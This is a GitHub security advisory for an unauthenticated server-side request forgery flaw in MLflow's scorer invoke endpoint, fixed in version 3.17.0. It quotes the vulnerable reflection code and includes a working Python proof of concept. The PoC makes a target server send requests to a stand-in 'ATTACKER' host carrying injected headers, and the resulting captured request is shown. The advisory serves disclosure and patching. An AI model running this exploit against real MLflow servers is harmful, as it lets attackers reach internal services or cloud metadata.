Skip to content

MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

Moderate severity GitHub Reviewed Published Oct 22, 2026 in mlflow/mlflow • Updated Oct 23, 2026

Package

pip mlflow (pip)

Affected versions

>= 3.12.0rc0, < 3.17.0

Patched versions

3.17.0

Description

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

  • Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.
  • Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
  • Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

References

@tanghaoji tanghaoji published to mlflow/mlflow Oct 22, 2026
Published to the GitHub Advisory Database Oct 23, 2026
Reviewed Oct 23, 2026
Last updated Oct 23, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(25th percentile)

Weaknesses

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-115886

GHSA ID

GHSA-2wqp-q3c6-ccj5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.